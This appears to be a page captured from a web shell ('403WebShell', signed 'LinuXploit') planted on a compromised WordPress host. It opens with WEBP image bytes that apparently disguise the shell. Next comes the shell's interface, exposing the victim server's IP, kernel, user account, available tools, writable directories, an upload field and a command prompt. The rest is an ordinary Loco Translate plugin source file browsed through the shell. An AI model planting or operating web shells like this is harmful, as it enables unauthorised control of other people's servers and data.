....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/www/wp-content/plugins/loco-translate/src/package/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thillelirn/www/wp-content/plugins/loco-translate/src/package/Bundle.php
<?php
/**
 * A bundle may use one or more text domains, and may or may not physically house them. 
 * Essentially a bundle "uses" a text domain.
 * Types are "theme", "plugin" and "core" 
 */
abstract class Loco_package_Bundle extends ArrayObject implements JsonSerializable {

    /**
     * Internal handle for targeting in WordPress, e.g. "twentyfifteen" or "loco-translate/loco.php"
     */
    private string $handle;

    /**
     * Short name, e.g. "twentyfifteen" or "loco-translate"
     */
    private string $slug = '';

    /**
     * Friendly name, e.g. "Twenty Fifteen
     */
    private string $name;

    /**
     * Full path to root directory of bundle
     */
    private ?Loco_fs_Directory $root = null;

    /**
     * Directory paths to exclude from all projects
     */
    private Loco_fs_FileList $xpaths;

    /**
     * Full path to PHP bootstrap file
     */
    private ?string $boot = null;

    /**
     * Whether bundle is a single file, as opposed to in its own directory
     */
    protected bool $solo = false;

    /**
     * Method with which bundle has been configured (file|db|meta|internal)
     */
    private string $saved = '';

    /**
     * Get system (i.e. "global") target locations for all projects of this type.
     * These are always append to configs, and always excluded from serialization
     * @return string[] absolute directory paths
     */
    abstract public function getSystemTargets():array;

    /**
     * Get canonical info registered with WordPress, i.e. plugin or theme headers
     */
    abstract public function getHeaderInfo():Loco_package_Header;

    /**
     * Get built-in translatable values mapped to annotation for translators
     */
    abstract public function getMetaTranslatable():array;

    /**
     * Get type of Bundle (title case)
     */
    abstract public function getType():string;

    /**
     * Get absolute URL to bundle root, with trailing slash
     */
    abstract public function getDirectoryUrl():string;


    /**
     * Construct bundle from unique ID containing type and handle
     */
    public static function fromId( string $id ):self {
        $r = explode( '.', $id, 2 );
        return self::createType( $r[0], $r[1]??'' );
    }

    
    /**
     * @throws Loco_error_Exception
     */
    public static function createType( string $type, string $handle ):self {
        $func = [ 'Loco_package_'.ucfirst($type), 'create' ];
        if( is_callable($func) ){
            $bundle = call_user_func( $func, $handle );
        }
        else {
            throw new Loco_error_Exception('Unexpected bundle type: '.$type );
        }  
        return $bundle;
    }


    /**
     * Resolve a file path to a plugin, theme or the core 
     */
    public static function fromFile( Loco_fs_File $file ):?Loco_package_Bundle {
        if( $file->underThemeDirectory() ){
            return Loco_package_Theme::fromFile($file);
        }
        else if( $file->underPluginDirectory() ){
            return Loco_package_Plugin::fromFile($file);
        }
        else if( $file->underWordPressDirectory() && ! $file->underContentDirectory() ){
            return Loco_package_Core::create();
        }
        else {
            return null;
        }
    }


    /**
     * Construct from WordPress handle and friendly name
     * @param string $handle
     * @param string $name
     */
    public function __construct( $handle, $name ){
        parent::__construct();
        $this->setHandle($handle)->setName($name);
        $this->xpaths = new Loco_fs_FileList;
    }


    /**
     * Re-fetch this bundle from its currently saved location
     */
    public function reload():self {
        return call_user_func( [ get_class($this), 'create' ], $this->getSlug() );
    }


    /**
     * Get ID that uniquely identifies bundle by its type and handle
     */
    public function getId():string {
        $type = strtolower( $this->getType() );
        return $type.'.'.$this->getHandle();
    }



    /**
     * @return string
     */
    public function __toString(){
        return $this->name;
    }


    /**
     * Test if this bundle is a theme
     */
    public function isTheme():bool {
        return false;
    }


    /**
     * Get parent bundle if possible. This can only be a theme.
     * @codeCoverageIgnore
     */
    public function getParent():?Loco_package_Theme {
        trigger_error( $this->getType().' bundles cannot have parents. Check isTheme first');
        return null;
    }


    /**
     * Test if this bundle is a plugin
     */
    public function isPlugin():bool {
        return false;
    }


    /**
     * Get handle of bundle unique for its type, e.g. "twentyfifteen" or "loco-translate/loco.php"
     */
    public function getHandle():string {
        return $this->handle;
    }


    /**
     * Attempt to get the vendor-specific slug, which may or may not be the same as the internal handle
     */
    public function getSlug():string {
        // fall back to runtime handle if slug is empty
        return $this->slug ?: $this->getHandle();
    }


    /**
     * Set friendly name of bundle
     */
    public function setName( string $name ):self{
        $this->name = $name;
        return $this;
    }


    /**
     * Set short name of bundle which may or may not match unique handle
     */
    public function setSlug( string $slug ):self {
        $this->slug = $slug;
        return $this;
    }


    /**
     * Set internal handle registered with WordPress for this bundle type
     */
    public function setHandle( string $handle ):self {
        $this->handle = $handle;
        return $this;
    }


    /**
     * Get friendly name of bundle, e.g. "Twenty Fifteen" or "Loco Translate"
     */
    public function getName():string {
        return $this->name;
    }
    
    
    /**
     * Whether bundle root is currently known
     */
    public function hasDirectoryPath():bool {
        return $this->root instanceof Loco_fs_Directory;
    }    


    /**
     * Set root directory for bundle. e.g. theme or plugin directory
     */
    public function setDirectoryPath( string $path ):self {
        $this->root = new Loco_fs_Directory( $path );
        $this->root->normalize();
        return $this;
    }


    /**
     * Get absolute path to root directory for bundle. e.g. theme or plugin directory
     */
    public function getDirectoryPath():string {
        if( $this->root ){
            return $this->root->getPath();
        }
        // without a root directory return WordPress root
        return untrailingslashit(ABSPATH);
    }


    /**
     * @return string[]
     */
    public function getVendorRoots():array {
        $dirs = [];
        $base = $this->getDirectoryPath();
        foreach( ['node_modules','vendor'] as $f ){
            $path = $base.'/'.$f;
            if( Loco_fs_File::is_readable($path) && is_dir($path) ){
                $dirs[] = $path;
            }
        }
        return $dirs;
    }


    /**
     * Get file locations to exclude from all projects in bundle. These are effectively "hidden"
     */
    public function getExcludedLocations():Loco_fs_FileList {
        return $this->xpaths;
    }


    /**
     * Add a path for excluding from all projects
     * @param Loco_fs_File|string $path
     */
    public function excludeLocation( $path ):self {
        $this->xpaths->add( new Loco_fs_File($path) );
        return $this;
    }


    /**
     * Create a file searcher from root location, excluding that which is excluded
     */
    public function getFileFinder():Loco_fs_FileFinder {
        $root = $this->getDirectoryPath();
        /*/ if bundle is symlinked it's resource files won't be matched properly
        if( is_link($root) && ( $real = realpath($root) ) ){
            $root = $real;
        }*/
        $finder = new Loco_fs_FileFinder( $root );
        foreach( $this->xpaths as $path ){
            $finder->exclude( (string) $path );
        }
        return $finder;
    }


    /**
     * Get primary PHP source file containing bundle bootstrap code, if applicable
     */
    public function getBootstrapPath():?string {
        return $this->boot;
    }


    /**
     * Set primary PHP source file containing bundle bootstrap code, if applicable.
     * @param string|Loco_fs_File $path to PHP file
     * @return Loco_package_Bundle
     */
    public function setBootstrapPath( $path ):self {
        $path = (string) $path;
        // sanity check this is a PHP file even if it doesn't exist
        if( '.php' !== substr($path,-4) ){
            throw new Loco_error_Exception('Bootstrap file should end .php, got '.$path );
        }
        $this->boot = $path;
        // base directory can be inferred from bootstrap path
        if( ! $this->hasDirectoryPath() ){
            $this->setDirectoryPath( dirname($path) );
        }
        return $this;
    }


    /**
     * Test whether bundle consists of a single file
     */
    public function isSingleFile():bool {
        return $this->solo;
    }
    
    
    /**
     * Add all projects defined in a TextDomain
     */
    public function addDomain( Loco_package_TextDomain $domain ):self {
        /* @var Loco_package_Project $proj */
        foreach( $domain as $proj ){
            $this->addProject($proj);
        }
        return $this;
    }


    /**
     * Add a translation project to bundle.
     * Note that this always adds without checking uniqueness. Call hasProject first if it could be a duplicate
     */
    public function addProject( Loco_package_Project $project ):self {
        // add global targets
        foreach( $this->getSystemTargets() as $path ){
            $project->addSystemTargetDirectory( $path );
        }
        // add global exclusions affecting source and target locations
        foreach( $this->xpaths as $path ){
            $project->excludeLocation( $path );
        }
        // projects must be unique by Text Domain and "slug" (used to prefix files)
        // however, I am not indexing them here on purpose so domain and slug may be added at any time.
        $this[] = $project;
        return $this;
    }


    /**
     * Export projects grouped by domain
     * @return array[] indexed by Text Domain name
     */
    public function exportGrouped():array {
        $domains = [];
        /* @var $proj Loco_package_Project */
        foreach( $this as $proj ){
            $domain = $proj->getDomain();
            $key = $domain->getName();
            $domains[$key][] = $proj; 
        }
        return $domains;
    }



    /**
     * Create a suitable Text Domain from bundle's name.
     * Note that internal handle may be a directory name differing entirely from the author's intention, hence the configured bundle name is slugged instead
     */
    public function createDomain():Loco_package_TextDomain {
        $slug = sanitize_title( $this->name, $this->slug );
        return new Loco_package_TextDomain( $slug );
    }



    /**
     * Generate default configuration. 
     * Adds a simple one domain, one project config
     * @param string|null $domainName optional Text Domain to use
     */
    public function createDefault( ?string $domainName = null ):Loco_package_Project {
        if( is_null($domainName) ){
            $domain = $this->createDomain();
        }
        else {
            $domain = new Loco_package_TextDomain($domainName);
        }
        $project = $domain->createProject( $this, $this->name );
        if( $this->solo ){
            $project->addSourceFile( $this->getBootstrapPath() );
        }
        else {
            $project->addSourceDirectory( $this->getDirectoryPath() );
        }

        $this->addProject( $project );
        return $project;
    }


    /**
     * Configure from custom saved option
     * @return bool whether configured via database option
     */
    public function configureDb():bool {
        $option = $this->getCustomConfig();
        if( $option instanceof  Loco_config_CustomSaved ){
            $option->configure();
            $this->saved = 'db';
            return true;
        }
        return false;
    }


    /**
     * Configure from XML config
     * @return bool whether configured via static XML file
     */
    public function configureXml():bool {
        $xmlfile = $this->getConfigFile();
        if( $xmlfile instanceof Loco_fs_File ){
            $reader = new Loco_config_BundleReader($this);
            $reader->loadXml( $xmlfile );
            $this->saved = 'file';
            return true;
        }
        return false;
    }


    /**
     * Get XML configuration file used to define this bundle
     */
    public function getConfigFile():?Loco_fs_File {
        $base = $this->getDirectoryPath();
        $file = new Loco_fs_File( $base.'/loco.xml' );
        if( ! $file->exists() || ! loco_check_extension('dom') ){
            return null;
        }
        return $file;
    }


    /**
     * Check whether bundle is manually configured, as opposed to guessed (file|db|meta|internal)
     */    
    public function isConfigured():string {
        return $this->saved;
    }


    /**
     * Do basic configuration from bundle meta data (file headers)
     * @param array $header tags from theme or plugin bootstrap file
     * @return bool whether configured via header tags
     */
    public function configureMeta( array $header ):bool {
        if( isset($header['Name']) ){
            $this->setName( $header['Name'] );
        }
        if( isset($header['TextDomain']) && ( $slug = $header['TextDomain'] ) ){
            $domain = new Loco_package_TextDomain($slug);
            $domain->setCanonical( true );
            // use domain as bundle handle and slug if not set when constructed
            if( ! $this->handle ){
                $this->handle = $slug;
            }
            if( ! $this->getSlug() ){
                $this->setSlug( $slug );
            }
            $project = $domain->createProject( $this, $this->name );
            // May have declared DomainPath
            $base = $this->getDirectoryPath();
            if( isset($header['DomainPath']) && ( $path = trim($header['DomainPath'],'/') ) ){
                $project->addTargetDirectory( $base.'/'.$path );
            }
            // else use standard language path if it exists
            else if( ! $this->solo ){
                if( is_dir($base.'/languages') ) {
                    $project->addTargetDirectory($base.'/languages');
                }
                // else add bundle root by default
                else {
                    $project->addTargetDirectory($base);
                }
            }
            // single file bundles can have only one source file
            if( $this->solo ){
                $project->addSourceFile( $this->getBootstrapPath() );
            }
            // else add bundle root as default source file location
            else {
                $project->addSourceDirectory( $base );
            }
            // automatically block common vendor locations
            foreach( $this->getVendorRoots() as $root ){
                $this->excludeLocation($root);
            }
            // default domain added
            $this->addProject($project);
            $this->saved = 'meta';
            return true;
        }

        return false;
    }


    /**
     * Configure bundle from canonical sources.
     * Source order is "db","file","meta" where meta is the auto-config fallback.
     * No deep scanning is performed at this point
     * @param string[] $header tags from theme or plugin bootstrap file
     */
    public function configure( string $base, array $header ):self {
        $this->setDirectoryPath( $base );
        $this->configureDb() || $this->configureXml() || $this->configureMeta($header);
        do_action('loco_bundle_configured',$this);
        return $this;
    }


    /**
     * Get the custom config saved in WordPress DB for this bundle
     */
    public function getCustomConfig():?Loco_config_CustomSaved {
        $custom = new Loco_config_CustomSaved;
        if( $custom->setBundle($this)->fetch() ){
            return $custom;
        }
        return null;
    }


    /**
     * Inherit another bundle. Used for child themes to display parent translations
     */
    public function inherit( Loco_package_Bundle $parent ):self{
        foreach( $parent as $project ){
            if( ! $this->hasProject($project) ){
                $this->addProject( $project );
            }
        }
        return $this;
    }


    /**
     * Get unique translation project by text domain (and optionally slug)
     * TODO would prefer to avoid iteration, but slug can be changed at any time
     */
    public function getProject( string $domain, ?string $slug = null ):?Loco_package_Project {
        if( is_null($slug) ){
            $slug = $domain;
        }
        /* @var $project Loco_package_Project */
        foreach( $this as $project ){
            if( $project->getSlug() === $slug && $project->getDomain()->getName() === $domain ){
                return $project;
            }
        }
        return null;
    }


    /**
     * Get the primary translation set for this bundle, unless there are zero
     */
    public function getDefaultProject():?Loco_package_Project {
        $i = 0;
        /* @var Loco_package_Project $project */
        foreach( $this as $project ){
            if( $project->isDomainDefault() ){
                return $project;
            }
            $i++;
        }
        // nothing is domain default, but if we only have one, then duh
        if( 1 === $i ){
            return $project;
        }
        return null;
    }

    
    /**
     * Test if project already exists in bundle
     */
    public function hasProject( Loco_package_Project $project ):bool {
        return (bool) $this->getProject( $project->getDomain()->getName(), $project->getSlug() );
    }


    /**
     * @return Loco_package_TextDomain[]
     */
    public function getDomains():array {
        $domains = [];
        /* @var $project Loco_package_Project */
        foreach( $this as $project ){
            if( $domain = $project->getDomain() ){
                $d = (string) $domain;
                if( ! isset($domains[$d]) ){
                    $domains[$d] = $domain;
                }
            }
        }
        return $domains;
    }


    /**
     * Get newest timestamp of all translation files (includes template, but exclude source files)
     */    
    public function getLastUpdated():int {
        // recent items is a convenient cache for checking last modified times
        $t = Loco_data_RecentItems::get()->hasBundle( $this->getId() );
        // else have to scan targets across all projects
        if( 0 === $t ){
            /* @var Loco_package_Project $project */
            foreach( $this as $project ){
                $t = max( $t, $project->getLastUpdated() );
            }
        }
        return $t;
    }


    /**
     * Get project by ID
     * @param string $id identifier of the form <domain>[.<slug>]
     */
    public function getProjectById( string $id ):?Loco_package_Project {
        list( $domain, $slug ) = Loco_package_Project::splitId($id);
        return $this->getProject( $domain, $slug );
    }


    /**
     * Reset bundle configuration, but keep metadata like name and slug.
     * Call this before applying a saved config, otherwise values will just be added on top.
     */
    public function clear():self {
        $this->exchangeArray( [] );
        $this->xpaths = new Loco_fs_FileList;
        $this->saved = '';
        return $this;
    }


    #[ReturnTypeWillChange]
    public function jsonSerialize():array {
        $writer = new Loco_config_BundleWriter( $this );
        return $writer->toArray();
    }


    /**
     * Create a copy of this bundle containing any files found that aren't currently configured
     */
    public function invert():self {
        return Loco_package_Inverter::compile( $this );
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit